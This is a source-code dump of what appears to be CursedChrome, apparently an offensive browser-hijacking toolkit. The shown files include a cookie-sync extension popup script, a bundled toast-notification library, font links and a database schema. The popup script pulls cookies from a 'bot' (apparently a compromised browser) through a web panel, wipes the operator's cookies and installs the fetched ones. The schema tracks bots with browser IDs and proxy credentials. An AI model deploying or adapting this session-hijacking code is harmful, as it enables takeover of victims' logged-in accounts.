'httpOnly', 100 | 'name', 101 | 'path', 102 | 'sameSite', 103 | 'secure', 104 | 'value' 105 | ]; 106 | 107 | const browser_cookie_array = response.cookies.map(cookie => { 108 | let cookie_data = {}; 109 | attrs_to_copy.map(attribute_name => { 110 | // Firefox and Chrome compatibility bullshit 111 | if(attribute_name === 'sameSite' && cookie[attribute_name] === 'unspecified') { 112 | cookie_data[attribute_name] = 'lax'; 113 | return 114 | } 115 | 116 | if(attribute_name in cookie) { 117 | cookie_data[attribute_name] = cookie[attribute_name]; 118 | } 119 | }); 120 | 121 | // For some reason we have to generate this even though 122 | // we already provide a domain, path, and secure param... 123 | const url = get_url_from_cookie_data(cookie_data); 124 | cookie_data.url = url; 125 | 126 | return cookie_data; 127 | }); 128 | 129 | // Clear existing cookies 130 | // clear_cookie(url, name) 131 | const existing_cookies = await get_all_cookies(); 132 | const cookie_clear_promises = existing_cookies.map(async existing_cookie => { 133 | const url = get_url_from_cookie_data(existing_cookie); 134 | return clear_cookie(url, existing_cookie.name); 135 | }); 136 | await Promise.all(cookie_clear_promises); 137 | 138 | browser_cookie_array.map(cookie => { 139 | chrome.cookies.set(cookie, () => {}); 140 | }); 141 | 142 | toastr.success('Cookies synced successfully.'); 143 | } 144 | }, 145 | computed: { 146 | config_message: function() { 147 | if (this.config.url === '') { 148 | return null; 149 | } 150 | 151 | if (!this.config.url.startsWith('http://') && !this.config.url.startsWith('https://')) { 152 | this.config.sync_button_disabled = true; 153 | return 'Web Panel URL must start with either http:// or https://'; 154 | } 155 | 156 | if (!this.config.username.startsWith('botuser')) { 157 | this.config.sync_button_disabled = true; 158 | return 'Bot username should start with "botuser"'; 159 | } 160 | 161 | if (this.config.password === '') { 162 | this.config.sync_button_disabled = true; 163 | return 'Bot password must not be empty'; 164 | } 165 | 166 | return null; 167 | }, 168 | }, 169 | watch: { 170 | config: { 171 | handler(val) { 172 | this.check_login_credentials(); 173 | }, 174 | deep: true 175 | } 176 | }, 177 | mounted: function() { 178 | this.$nextTick(function() { 179 | load_bot_config(); 180 | this.check_login_credentials(); 181 | }); 182 | } 183 | }); 184 | 185 | function save_bot_config(url, username, password) { 186 | localStorage.setItem('BOT_CREDENTIALS', JSON.stringify({ 187 | 'url': url, 188 | 'username': username, 189 | 'password': password 190 | })); 191 | } 192 | 193 | function load_bot_config() { 194 | const raw_localstorage_data = localStorage.getItem('BOT_CREDENTIALS'); 195 | 196 | if (!raw_localstorage_data) { 197 | return; 198 | } 199 | 200 | const bot_credentials = JSON.parse(localStorage.getItem('BOT_CREDENTIALS')); 201 | 202 | app.config.url = bot_credentials.url; 203 | app.config.username = bot_credentials.username; 204 | app.config.password = bot_credentials.password; 205 | } 206 | 207 | $(function() { 208 | $("[rel='tooltip']").tooltip(); 209 | }); 210 | 211 | async function api_request(method, url, body) { 212 | var request_options = { 213 | method: method, 214 | credentials: 'include', 215 | mode: 'cors', 216 | cache: 'no-cache', 217 | headers: { 218 | 'Content-Type': 'application/json', 219 | }, 220 | redirect: 'follow' 221 | }; 222 | 223 | if (body) { 224 | request_options.body = JSON.stringify(body); 225 | } 226 | 227 | window.app.loading = true; 228 | 229 | try { 230 | var response = await fetch( 231 | `${url}`, 232 | request_options 233 | ); 234 | } catch (e) { 235 | window.app.loading = false; 236 | throw e; 237 | } 238 | window.app.loading = false; 239 | 240 | const response_body = await response.json(); 241 | 242 | if (!response_body.success) { 243 | return Promise.reject({ 244 | 'error': response_body.error, 245 | 'code': response_body.code 246 | }) 247 | } 248 | 249 | return response_body.result; 250 | } -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/toastr.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Note that this is toastr v2.1.3, the "latest" version in url has no more maintenance, 3 | * please go to https://cdnjs.com/libraries/toastr.js and pick a certain version you want to use, 4 | * make sure you copy the url from the website since the url may change between versions. 5 | * */ 6 | .toast-title { 7 | font-weight: bold; 8 | } 9 | .toast-message { 10 | -ms-word-wrap: break-word; 11 | word-wrap: break-word; 12 | } 13 | .toast-message a, 14 | .toast-message label { 15 | color: #FFFFFF; 16 | } 17 | .toast-message a:hover { 18 | color: #CCCCCC; 19 | text-decoration: none; 20 | } 21 | .toast-close-button { 22 | position: relative; 23 | right: -0.3em; 24 | top: -0.3em; 25 | float: right; 26 | font-size: 20px; 27 | font-weight: bold; 28 | color: #FFFFFF; 29 | -webkit-text-shadow: 0 1px 0 #ffffff; 30 | text-shadow: 0 1px 0 #ffffff; 31 | opacity: 0.8; 32 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=80); 33 | filter: alpha(opacity=80); 34 | line-height: 1; 35 | } 36 | .toast-close-button:hover, 37 | .toast-close-button:focus { 38 | color: #000000; 39 | text-decoration: none; 40 | cursor: pointer; 41 | opacity: 0.4; 42 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=40); 43 | filter: alpha(opacity=40); 44 | } 45 | .rtl .toast-close-button { 46 | left: -0.3em; 47 | float: left; 48 | right: 0.3em; 49 | } 50 | /*Additional properties for button version 51 | iOS requires the button element instead of an anchor tag. 52 | If you want the anchor version, it requires `href="#"`.*/ 53 | button.toast-close-button { 54 | padding: 0; 55 | cursor: pointer; 56 | background: transparent; 57 | border: 0; 58 | -webkit-appearance: none; 59 | } 60 | .toast-top-center { 61 | top: 0; 62 | right: 0; 63 | width: 100%; 64 | } 65 | .toast-bottom-center { 66 | bottom: 0; 67 | right: 0; 68 | width: 100%; 69 | } 70 | .toast-top-full-width { 71 | top: 0; 72 | right: 0; 73 | width: 100%; 74 | } 75 | .toast-bottom-full-width { 76 | bottom: 0; 77 | right: 0; 78 | width: 100%; 79 | } 80 | .toast-top-left { 81 | top: 12px; 82 | left: 12px; 83 | } 84 | .toast-top-right { 85 | top: 12px; 86 | right: 12px; 87 | } 88 | .toast-bottom-right { 89 | right: 12px; 90 | bottom: 12px; 91 | } 92 | .toast-bottom-left { 93 | bottom: 12px; 94 | left: 12px; 95 | } 96 | #toast-container { 97 | position: fixed; 98 | z-index: 999999; 99 | pointer-events: none; 100 | /*overrides*/ 101 | } 102 | #toast-container * { 103 | -moz-box-sizing: border-box; 104 | -webkit-box-sizing: border-box; 105 | box-sizing: border-box; 106 | } 107 | #toast-container > div { 108 | position: relative; 109 | pointer-events: auto; 110 | overflow: hidden; 111 | margin: 0 0 6px; 112 | padding: 15px 15px 15px 50px; 113 | width: 300px; 114 | -moz-border-radius: 3px 3px 3px 3px; 115 | -webkit-border-radius: 3px 3px 3px 3px; 116 | border-radius: 3px 3px 3px 3px; 117 | background-position: 15px center; 118 | background-repeat: no-repeat; 119 | -moz-box-shadow: 0 0 12px #999999; 120 | -webkit-box-shadow: 0 0 12px #999999; 121 | box-shadow: 0 0 12px #999999; 122 | color: #FFFFFF; 123 | opacity: 0.8; 124 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=80); 125 | filter: alpha(opacity=80); 126 | } 127 | #toast-container > div.rtl { 128 | direction: rtl; 129 | padding: 15px 50px 15px 15px; 130 | background-position: right 15px center; 131 | } 132 | #toast-container > div:hover { 133 | -moz-box-shadow: 0 0 12px #000000; 134 | -webkit-box-shadow: 0 0 12px #000000; 135 | box-shadow: 0 0 12px #000000; 136 | opacity: 1; 137 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100); 138 | filter: alpha(opacity=100); 139 | cursor: pointer; 140 | } 141 | #toast-container > .toast-info { 142 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=") !important; 143 | } 144 | #toast-container > .toast-error { 145 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=") !important; 146 | } 147 | #toast-container > .toast-success { 148 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==") !important; 149 | } 150 | #toast-container > .toast-warning { 151 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=") !important; 152 | } 153 | #toast-container.toast-top-center > div, 154 | #toast-container.toast-bottom-center > div { 155 | width: 300px; 156 | margin-left: auto; 157 | margin-right: auto; 158 | } 159 | #toast-container.toast-top-full-width > div, 160 | #toast-container.toast-bottom-full-width > div { 161 | width: 96%; 162 | margin-left: auto; 163 | margin-right: auto; 164 | } 165 | .toast { 166 | background-color: #030303; 167 | } 168 | .toast-success { 169 | background-color: #51A351; 170 | } 171 | .toast-error { 172 | background-color: #BD362F; 173 | } 174 | .toast-info { 175 | background-color: #2F96B4; 176 | } 177 | .toast-warning { 178 | background-color: #F89406; 179 | } 180 | .toast-progress { 181 | position: absolute; 182 | left: 0; 183 | bottom: 0; 184 | height: 4px; 185 | background-color: #000000; 186 | opacity: 0.4; 187 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=40); 188 | filter: alpha(opacity=40); 189 | } 190 | /*Responsive Design*/ 191 | @media all and (max-width: 240px) { 192 | #toast-container > div { 193 | padding: 8px 8px 8px 50px; 194 | width: 11em; 195 | } 196 | #toast-container > div.rtl { 197 | padding: 8px 50px 8px 8px; 198 | } 199 | #toast-container .toast-close-button { 200 | right: -0.2em; 201 | top: -0.2em; 202 | } 203 | #toast-container .rtl .toast-close-button { 204 | left: -0.2em; 205 | right: 0.2em; 206 | } 207 | } 208 | @media all and (min-width: 241px) and (max-width: 480px) { 209 | #toast-container > div { 210 | padding: 8px 8px 8px 50px; 211 | width: 18em; 212 | } 213 | #toast-container > div.rtl { 214 | padding: 8px 50px 8px 8px; 215 | } 216 | #toast-container .toast-close-button { 217 | right: -0.2em; 218 | top: -0.2em; 219 | } 220 | #toast-container .rtl .toast-close-button { 221 | left: -0.2em; 222 | right: 0.2em; 223 | } 224 | } 225 | @media all and (min-width: 481px) and (max-width: 768px) { 226 | #toast-container > div { 227 | padding: 15px 15px 15px 50px; 228 | width: 25em; 229 | } 230 | #toast-container > div.rtl { 231 | padding: 15px 50px 15px 15px; 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/toastr.min.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Note that this is toastr v2.1.3, the "latest" version in url has no more maintenance, 3 | * please go to https://cdnjs.com/libraries/toastr.js and pick a certain version you want to use, 4 | * make sure you copy the url from the website since the url may change between versions. 5 | * */ 6 | !function(e){e(["jquery"],function(e){return function(){function t(e,t,n){return g({type:O.error,iconClass:m().iconClasses.error,message:e,optionsOverride:n,title:t})}function n(t,n){return t||(t=m()),v=e("#"+t.containerId),v.length?v:(n&&(v=d(t)),v)}function o(e,t,n){return g({type:O.info,iconClass:m().iconClasses.info,message:e,optionsOverride:n,title:t})}function s(e){C=e}function i(e,t,n){return g({type:O.success,iconClass:m().iconClasses.success,message:e,optionsOverride:n,title:t})}function a(e,t,n){return g({type:O.warning,iconClass:m().iconClasses.warning,message:e,optionsOverride:n,title:t})}function r(e,t){var o=m();v||n(o),u(e,o,t)||l(o)}function c(t){var o=m();return v||n(o),t&&0===e(":focus",t).length?void h(t):void(v.children().length&&v.remove())}function l(t){for(var n=v.children(),o=n.length-1;o>=0;o--)u(e(n[o]),t)}function u(t,n,o){var s=!(!o||!o.force)&&o.force;return!(!t||!s&&0!==e(":focus",t).length)&&(t[n.hideMethod]({duration:n.hideDuration,easing:n.hideEasing,complete:function(){h(t)}}),!0)}function d(t){return v=e("
").attr("id",t.containerId).addClass(t.positionClass),v.appendTo(e(t.target)),v}function p(){return{tapToDismiss:!0,toastClass:"toast",containerId:"toast-container",debug:!1,showMethod:"fadeIn",showDuration:300,showEasing:"swing",onShown:void 0,hideMethod:"fadeOut",hideDuration:1e3,hideEasing:"swing",onHidden:void 0,closeMethod:!1,closeDuration:!1,closeEasing:!1,closeOnHover:!0,extendedTimeOut:1e3,iconClasses:{error:"toast-error",info:"toast-info",success:"toast-success",warning:"toast-warning"},iconClass:"toast-info",positionClass:"toast-top-right",timeOut:5e3,titleClass:"toast-title",messageClass:"toast-message",escapeHtml:!1,target:"body",closeHtml:'',closeClass:"toast-close-button",newestOnTop:!0,preventDuplicates:!1,progressBar:!1,progressClass:"toast-progress",rtl:!1}}function f(e){C&&C(e)}function g(t){function o(e){return null==e&&(e=""),e.replace(/&/g,"&").replace(/"/g,""").replace(/'/g,"'").replace(//g,">")}function s(){c(),u(),d(),p(),g(),C(),l(),i()}function i(){var e="";switch(t.iconClass){case"toast-success":case"toast-info":e="polite";break;default:e="assertive"}I.attr("aria-live",e)}function a(){E.closeOnHover&&I.hover(H,D),!E.onclick&&E.tapToDismiss&&I.click(b),E.closeButton&&j&&j.click(function(e){e.stopPropagation?e.stopPropagation():void 0!==e.cancelBubble&&e.cancelBubble!==!0&&(e.cancelBubble=!0),E.onCloseClick&&E.onCloseClick(e),b(!0)}),E.onclick&&I.click(function(e){E.onclick(e),b()})}function r(){I.hide(),I[E.showMethod]({duration:E.showDuration,easing:E.showEasing,complete:E.onShown}),E.timeOut>0&&(k=setTimeout(b,E.timeOut),F.maxHideTime=parseFloat(E.timeOut),F.hideEta=(new Date).getTime()+F.maxHideTime,E.progressBar&&(F.intervalId=setInterval(x,10)))}function c(){t.iconClass&&I.addClass(E.toastClass).addClass(y)}function l(){E.newestOnTop?v.prepend(I):v.append(I)}function u(){if(t.title){var e=t.title;E.escapeHtml&&(e=o(t.title)),M.append(e).addClass(E.titleClass),I.append(M)}}function d(){if(t.message){var e=t.message;E.escapeHtml&&(e=o(t.message)),B.append(e).addClass(E.messageClass),I.append(B)}}function p(){E.closeButton&&(j.addClass(E.closeClass).attr("role","button"),I.prepend(j))}function g(){E.progressBar&&(q.addClass(E.progressClass),I.prepend(q))}function C(){E.rtl&&I.addClass("rtl")}function O(e,t){if(e.preventDuplicates){if(t.message===w)return!0;w=t.message}return!1}function b(t){var n=t&&E.closeMethod!==!1?E.closeMethod:E.hideMethod,o=t&&E.closeDuration!==!1?E.closeDuration:E.hideDuration,s=t&&E.closeEasing!==!1?E.closeEasing:E.hideEasing;if(!e(":focus",I).length||t)return clearTimeout(F.intervalId),I[n]({duration:o,easing:s,complete:function(){h(I),clearTimeout(k),E.onHidden&&"hidden"!==P.state&&E.onHidden(),P.state="hidden",P.endTime=new Date,f(P)}})}function D(){(E.timeOut>0||E.extendedTimeOut>0)&&(k=setTimeout(b,E.extendedTimeOut),F.maxHideTime=parseFloat(E.extendedTimeOut),F.hideEta=(new Date).getTime()+F.maxHideTime)}function H(){clearTimeout(k),F.hideEta=0,I.stop(!0,!0)[E.showMethod]({duration:E.showDuration,easing:E.showEasing})}function x(){var e=(F.hideEta-(new Date).getTime())/F.maxHideTime*100;q.width(e+"%")}var E=m(),y=t.iconClass||E.iconClass;if("undefined"!=typeof t.optionsOverride&&(E=e.extend(E,t.optionsOverride),y=t.optionsOverride.iconClass||y),!O(E,t)){T++,v=n(E,!0);var k=null,I=e("
"),M=e("
"),B=e("
"),q=e("
"),j=e(E.closeHtml),F={intervalId:null,hideEta:null,maxHideTime:null},P={toastId:T,state:"visible",startTime:new Date,options:E,map:t};return s(),r(),a(),f(P),E.debug&&console&&console.log(P),I}}function m(){return e.extend({},p(),b.options)}function h(e){v||(v=n()),e.is(":visible")||(e.remove(),e=null,0===v.children().length&&(v.remove(),w=void 0))}var v,C,w,T=0,O={error:"error",info:"info",success:"success",warning:"warning"},b={clear:r,remove:c,error:t,getContainer:n,info:o,options:{},subscribe:s,success:i,version:"2.1.3",warning:a};return b}()})}("function"==typeof define&&define.amd?define:function(e,t){"undefined"!=typeof module&&module.exports?module.exports=t(require("jquery")):window.toastr=t(window.jQuery)}); 7 | //# sourceMappingURL=toastr.js.map 8 | -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.eot -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.ttf -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff2 -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.eot -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.ttf -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff2 -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.eot -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.ttf -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff -------------------------------------------------------------------------------- /cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff2 -------------------------------------------------------------------------------- /database.js: -------------------------------------------------------------------------------- 1 | const Sequelize = require('sequelize'); 2 | const uuid = require('uuid'); 3 | 4 | const get_secure_random_string = require('./utils.js').get_secure_random_string; 5 | const get_hashed_password = require('./utils.js').get_hashed_password; 6 | 7 | var sequelize = new Sequelize( 8 | process.env.DATABASE_NAME, 9 | process.env.DATABASE_USER, 10 | process.env.DATABASE_PASSWORD, 11 | { 12 | host: process.env.DATABASE_HOST, 13 | dialect: 'postgres', 14 | benchmark: true, 15 | logging: false 16 | }, 17 | ); 18 | 19 | const Model = Sequelize.Model; 20 | 21 | /* 22 | User accounts in the web panel 23 | */ 24 | class Users extends Model {} 25 | Users.init({ 26 | id: { 27 | allowNull: false, 28 | primaryKey: true, 29 | type: Sequelize.UUID, 30 | defaultValue: uuid.v4() 31 | }, 32 | // Whether or not the email address has been verified. 33 | // Username 34 | username: { 35 | type: Sequelize.TEXT, 36 | allowNull: true, 37 | unique: true 38 | }, 39 | // Bcrypt 40 | password: { 41 | type: Sequelize.TEXT, 42 | allowNull: true, 43 | }, 44 | // Whether the password should be changed 45 | // by the user when they log in. 46 | password_should_be_changed: { 47 | type: Sequelize.BOOLEAN, 48 | allowNull: false, 49 | default: false, 50 | } 51 | }, { 52 | sequelize, 53 | modelName: 'users', 54 | indexes: [ 55 | { 56 | unique: true, 57 | fields: ['username'], 58 | method: 'BTREE', 59 | } 60 | ] 61 | }); 62 | 63 | class Bots extends Model {} 64 | Bots.init({ 65 | id: { 66 | allowNull: false, 67 | primaryKey: true, 68 | type: Sequelize.UUID, 69 | defaultValue: uuid.v4() 70 | }, 71 | // The unique ID for the specific browser 72 | browser_id: { 73 | type: Sequelize.TEXT, 74 | allowNull: false, 75 | unique: false 76 | }, 77 | // Name of the browser proxy 78 | name: { 79 | type: Sequelize.TEXT, 80 | allowNull: false, 81 | unique: false, 82 | default: 'Untitled Proxy' 83 | }, 84 | // The username to access the browser 85 | // HTTP proxy. 86 | proxy_username: { 87 | type: Sequelize.TEXT, 88 | allowNull: false, 89 | unique: true 90 | }, 91 | // The password to access the browser 92 | // HTTP proxy. 93 | proxy_password: { 94 | type: Sequelize.TEXT, 95 | allowNull: false, 96 | }, 97 | // Whether the proxy is currently online 98 | is_online: { 99 | type: Sequelize.BOOLEAN, 100 | allowNull: false, 101 | defaultValue: true 102 | }, 103 | // Bot user agent 104 | user_agent: { 105 | type: Sequelize.TEXT, 106 | allowNull: true, 107 | unique: false, 108 | default: 'Unknown' 109 | }, 110 | }, { 111 | sequelize, 112 | modelName: 'bots', 113 | indexes: [ 114 | { 115 | unique: false, 116 | fields: ['browser_id'], 117 | method: 'BTREE', 118 | }, 119 | { 120 | unique: true, 121 | fields: ['proxy_username'], 122 | method: 'BTREE', 123 | }, 124 | { 125 | unique: false, 126 | fields: ['proxy_password'], 127 | method: 'BTREE', 128 | } 129 | ] 130 | }); 131 | 132 | /* 133 | Various key/values for settings 134 | */ 135 | class Settings extends Model {} 136 | Settings.init({ 137 | id: { 138 | allowNull: false, 139 | primaryKey: true, 140 | type: Sequelize.UUID, 141 | defaultValue: uuid.v4() 142 | }, 143 | // Setting name 144 | key: { 145 | type: Sequelize.TEXT, 146 | allowNull: true, 147 | unique: true 148 | }, 149 | // Setting value 150 | value: { 151 | type: Sequelize.TEXT, 152 | allowNull: true, 153 | }, 154 | }, { 155 | sequelize, 156 | modelName: 'settings', 157 | indexes: [ 158 | { 159 | unique: true, 160 | fields: ['key'], 161 | method: 'BTREE', 162 | } 163 | ] 164 | }); 165 | 166 | async function create_new_user(username, password) { 167 | const bcrypt_hash = await get_hashed_password(password); 168 | 169 | const new_user = await Users.create({ 170 | id: uuid.v4(), 171 | username: username, 172 | password: bcrypt_hash, 173 | password_should_be_changed: true, 174 | }); 175 | 176 | return new_user; 177 | } 178 | 179 | function get_default_user_created_banner(username, password) { 180 | return ` 181 | ============================================================================ 182 | 183 | █████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗ 184 | ██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║ 185 | ███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║ 186 | ██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║ 187 | ██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ 188 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ 189 | 190 | vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv 191 | 192 | An admin user (for the admin control panel) has been created 193 | with the following credentials: 194 | 195 | USERNAME: ${username} 196 | PASSWORD: ${password} 197 | 198 | Upon logging in to the admin control panel with these 199 | credentials you will be prompted to change your password. 200 | Please do so at your earliest convenience as this message 201 | is potentially being logged by Docker. 202 | 203 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 204 | 205 | █████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗ 206 | ██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║ 